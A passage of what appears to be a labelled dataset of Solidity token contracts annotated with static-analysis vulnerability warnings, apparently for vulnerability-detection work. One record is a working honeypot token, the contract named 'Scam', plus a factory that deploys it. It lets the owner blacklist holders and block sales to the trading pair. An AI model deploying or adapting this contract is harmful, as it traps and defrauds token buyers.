_balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1851f92\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 31435ee\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 31435ee\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1851f92\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1851f92\n\t\t// reentrancy-events | ID: 9eb69c4\n\t\t// reentrancy-benign | ID: 3bba1a0\n\t\t// reentrancy-eth | ID: 31435ee\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1851f92\n\t\t// reentrancy-events | ID: 9eb69c4\n\t\t// reentrancy-eth | ID: 31435ee\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2de53e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2de53e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b37cb6): dersuuzala.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9b37cb6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bc8fe46): dersuuzala.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bc8fe46: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2038e19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2038e19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2de53e5\n\t\t// reentrancy-eth | ID: 2038e19\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2de53e5\n\t\t// unused-return | ID: 9b37cb6\n\t\t// reentrancy-eth | ID: 2038e19\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2de53e5\n\t\t// unused-return | ID: bc8fe46\n\t\t// reentrancy-eth | ID: 2038e19\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2de53e5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2038e19\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10269.sol", "size_bytes": 20374, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n}\n\ninterface IPair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract Scam is Context, IERC20, Ownable, ReentrancyGuard {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isW;\n\n mapping(address => bool) public isFeeCollector;\n\n mapping(address => uint256) public bl;\n\n bool private stopGuard = false;\n\n uint8 private constant _decimals = 18;\n\n uint256 private _tTotal = 0;\n\n string private _name;\n\n string private _symbol;\n\n bool public tradeEnable = false;\n\n uint256 maxTrade = 10 * 10 ** _decimals;\n\n mapping(address => uint256) private amaxTrade;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0acd2f9): Scam.pA should be immutable \n\t// Recommendation for 0acd2f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pA = address(0);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 556e759): Scam.uniswapV2Router should be immutable \n\t// Recommendation for 556e759: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n event ERC20TokensRecovered(uint256 indexed _amount);\n\n event ETHBalanceRecovered();\n\n modifier ReentryGuard(address from, address to, uint256 amount) {\n if (!stopGuard) {\n if ((amaxTrade[from] + amount) > maxTrade) {\n if (from != owner() && to != owner()) {\n if (\n to == pA ||\n (isContract(to) &&\n !isW[to] &&\n to != pA &&\n !isFeeCollector[to])\n ) {\n require(\n from == owner() || (isW[from] && !isContract(from)),\n \"Err\"\n );\n }\n\n require(!cbl(from) && !cbl(to), \"Err\");\n\n if (!tradeEnable) {\n require(isW[from], \"Err\");\n }\n }\n }\n }\n\n amaxTrade[from] += amount;\n\n _;\n }\n\n constructor(string memory tName, string memory tSymbol, uint256 supply) {\n _name = tName;\n\n _symbol = tSymbol;\n\n uint256 _supply = supply * (10 ** _decimals);\n\n _mint(_supply, _msgSender());\n\n address rAdd = address(0);\n\n address universalRouterAddress = address(0);\n\n if (block.chainid == 1) {\n rAdd = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n universalRouterAddress = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;\n\n isFeeCollector[0x000000fee13a103A10D593b9AE06b3e05F2E7E1c] = true;\n } else if (block.chainid == 56) {\n rAdd = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 8453) {\n rAdd = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;\n\n universalRouterAddress = 0x198EF79F1F515F02dFE9e3115eD9fC07183f02fC;\n\n isFeeCollector[0x11ddD59C33c73C44733b4123a86Ea5ce57F6e854] = true;\n } else if (block.chainid == 11155111) {\n rAdd = 0x86dcd3293C53Cf8EFd7303B57beb2a3F671dDE98;\n }\n\n uniswapV2Router = IUniswapV2Router02(rAdd);\n\n isW[rAdd] = true;\n\n isW[universalRouterAddress] = true;\n\n pA = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n isW[pA] = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) public view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function _mint(uint256 tokensToMint, address addr) internal onlyOwner {\n _tTotal += tokensToMint;\n\n _balances[addr] += tokensToMint;\n\n emit Transfer(address(0), addr, tokensToMint);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal - _balances[address(0)];\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public nonReentrant returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11eff14): Scam.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11eff14: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public nonReentrant returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public nonReentrant returns (bool) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _transfer(sender, recipient, amount);\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a029179): Scam._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a029179: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private ReentryGuard(from, to, amount) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(_balances[from] >= amount, \"Not enough balance\");\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1abd2f6): Scam.cbl(address) uses timestamp for comparisons Dangerous comparisons bl[addr] > 0 && block.timestamp < bl[addr]\n\t// Recommendation for 1abd2f6: Avoid relying on 'block.timestamp'.\n function cbl(address addr) private view returns (bool) {\n\t\t// timestamp | ID: 1abd2f6\n return bl[addr] > 0 && block.timestamp < bl[addr];\n }\n\n function switchTrading() external onlyOwner {\n tradeEnable = !tradeEnable;\n }\n\n function switchGuard() external onlyOwner {\n stopGuard = !stopGuard;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3cefa2e): Reentrancy in Scam.recoverBEP20FromContract(address,uint256,address) External calls IERC20(_tokenAddy).transfer(to,_amount) Event emitted after the call(s) ERC20TokensRecovered(_amount)\n\t// Recommendation for 3cefa2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 17129de): Scam.recoverBEP20FromContract(address,uint256,address) ignores return value by IERC20(_tokenAddy).transfer(to,_amount)\n\t// Recommendation for 17129de: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverBEP20FromContract(\n address _tokenAddy,\n uint256 _amount,\n address to\n ) external onlyOwner {\n require(_amount > 0, \"Amount should be greater than zero\");\n\n require(\n _amount <= IERC20(_tokenAddy).balanceOf(address(this)),\n \"Insufficient Amount\"\n );\n\n\t\t// reentrancy-events | ID: 3cefa2e\n\t\t// unchecked-transfer | ID: 17129de\n IERC20(_tokenAddy).transfer(to, _amount);\n\n\t\t// reentrancy-events | ID: 3cefa2e\n emit ERC20TokensRecovered(_amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 667026f): Scam.recoverBNBfromContract(address).to lacks a zerocheck on \t address(address(to)).transfer(contractETHBalance)\n\t// Recommendation for 667026f: Check that the address is not zero.\n function recoverBNBfromContract(address to) external onlyOwner {\n uint256 contractETHBalance = address(this).balance;\n\n require(contractETHBalance > 0, \"Amount should be greater than zero\");\n\n require(\n contractETHBalance <= address(this).balance,\n \"Insufficient Amount\"\n );\n\n\t\t// missing-zero-check | ID: 667026f\n payable(address(to)).transfer(contractETHBalance);\n\n emit ETHBalanceRecovered();\n }\n\n function checkAllowanceBalance(uint256 a) public view returns (bool) {\n return\n _allowances[_msgSender()][address(this)] >= a &&\n balanceOf(_msgSender()) >= a;\n }\n\n function addW(address addr) external onlyOwner {\n isW[addr] = true;\n }\n\n function removeW(address addr) external onlyOwner {\n isW[addr] = false;\n }\n\n function addFeeCollector(address addr) external onlyOwner {\n isFeeCollector[addr] = true;\n }\n\n function removeFeeCollector(address addr) external onlyOwner {\n isFeeCollector[addr] = false;\n }\n\n function addB(address addr, uint256 period) public onlyOwner {\n bl[addr] = block.timestamp + period;\n }\n\n function removeB(address addr) public onlyOwner {\n bl[addr] = block.timestamp;\n }\n\n function changeMaxTrade(uint256 value) public onlyOwner {\n maxTrade = value * 10 ** _decimals;\n }\n\n function changeAMaxTrade(address addr, uint256 value) public onlyOwner {\n amaxTrade[addr] = value * 10 ** _decimals;\n }\n}\n\ncontract TokenFactory is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: dda8c17): TokenFactory.uniswapV2Router should be immutable \n\t// Recommendation for dda8c17: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 24bea94): TokenFactory.rAdd should be immutable \n\t// Recommendation for 24bea94: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address rAdd;\n\n uint public dummyState = 0;\n\n constructor() {\n if (block.chainid == 1) {\n rAdd = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 56) {\n rAdd = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 8453) {\n rAdd = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;\n } else if (block.chainid == 11155111) {\n rAdd = 0x86dcd3293C53Cf8EFd7303B57beb2a3F671dDE98;\n }\n\n uniswapV2Router = IUniswapV2Router02(rAdd);\n }\n\n function increaseNonce() public onlyOwner {\n dummyState++;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6c3cead): TokenFactory.createNewMyToken(string,string,uint256,uint256) ignores return value by myToken.approve(address(uniswapV2Router),_liqamount)\n\t// Recommendation for 6c3cead: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0807099): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 0807099: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 153a78e): TokenFactory.createNewMyToken(string,string,uint256,uint256) ignores return value by myToken.transfer(msg.sender,_supply _liqamount)\n\t// Recommendation for 153a78e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function createNewMyToken(\n string memory tName,\n string memory tSymbol,\n uint256 supply,\n uint256 liqamount\n ) public payable onlyOwner {\n Scam myToken = (new Scam)(tName, tSymbol, supply);\n\n uint256 _liqamount = liqamount * 10 ** 18;\n\n uint256 _supply = supply * 10 ** 18;\n\n\t\t// unused-return | ID: 6c3cead\n myToken.approve(address(uniswapV2Router), _liqamount);\n\n\t\t// unused-return | ID: 0807099\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(myToken),\n _liqamount,\n 0,\n 0,\n msg.sender,\n block.timestamp + 10000\n );\n\n\t\t// unchecked-transfer | ID: 153a78e\n myToken.transfer(msg.sender, _supply - _liqamount);\n\n myToken.transferOwnership(msg.sender);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 57fdbb6): TokenFactory.recoverBEP20FromContract(address,uint256,address) ignores return value by IERC20(_tokenAddy).transfer(to,_amount)\n\t// Recommendation for 57fdbb6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverBEP20FromContract(\n address _tokenAddy,\n uint256 _amount,\n address to\n ) external onlyOwner {\n require(_amount > 0, \"Amount should be greater than zero\");\n\n require(\n _amount <= IERC20(_tokenAddy).balanceOf(address(this)),\n \"Insufficient Amount\"\n );\n\n\t\t// unchecked-transfer | ID: 57fdbb6\n IERC20(_tokenAddy).transfer(to, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 81ff90e): TokenFactory.recoverBNBfromContract(address).to lacks a zerocheck on \t address(address(to)).transfer(contractETHBalance)\n\t// Recommendation for 81ff90e: Check that the address is not zero.\n function recoverBNBfromContract(address to) external onlyOwner {\n uint256 contractETHBalance = address(this).balance;\n\n require(contractETHBalance > 0, \"Amount should be greater than zero\");\n\n require(\n contractETHBalance <= address(this).balance,\n \"Insufficient Amount\"\n );\n\n\t\t// missing-zero-check | ID: 81ff90e\n payable(address(to)).transfer(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_1027.sol", "size_bytes": 21739, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TILLY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d95d6ee): TILLY._taxWallet should be immutable \n\t// Recommendation for d95d6ee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80edca6): TILLY._initialBuyTax should be constant \n\t// Recommendation for 80edca6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f964e): TILLY._initialSellTax should be constant \n\t// Recommendation for 01f964e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8422c88): TILLY._finalBuyTax should be constant \n\t// Recommendation for 8422c88: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aed78c3): TILLY._finalSellTax should be constant \n\t// Recommendation for aed78c3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f6ce47b): TILLY._reduceBuyTaxAt should be constant \n\t// Recommendation for f6ce47b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: f55558b): TILLY._reduceSellTaxAt should be constant \n\t// Recommendation for f55558b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4df7e83): TILLY._preventSwapBefore should be constant \n\t// Recommendation for 4df7e83: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"a16z AI Dog\";\n\n string private constant _symbol = unicode\"TILLY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3284a9e): TILLY._taxSwapThreshold should be constant \n\t// Recommendation for 3284a9e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6258b41): TILLY._maxTaxSwap should be constant \n\t// Recommendation for 6258b41: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0cdf676): TILLY.uniswapV2Router should be immutable \n\t// Recommendation for 0cdf676: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45f710a): TILLY.uniswapV2Pair should be immutable \n\t// Recommendation for 45f710a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 766e817): TILLY.sellsPerBlock should be constant \n\t// Recommendation for 766e817: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26beee5): TILLY.buysFirstBlock should be constant \n\t// Recommendation for 26beee5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure 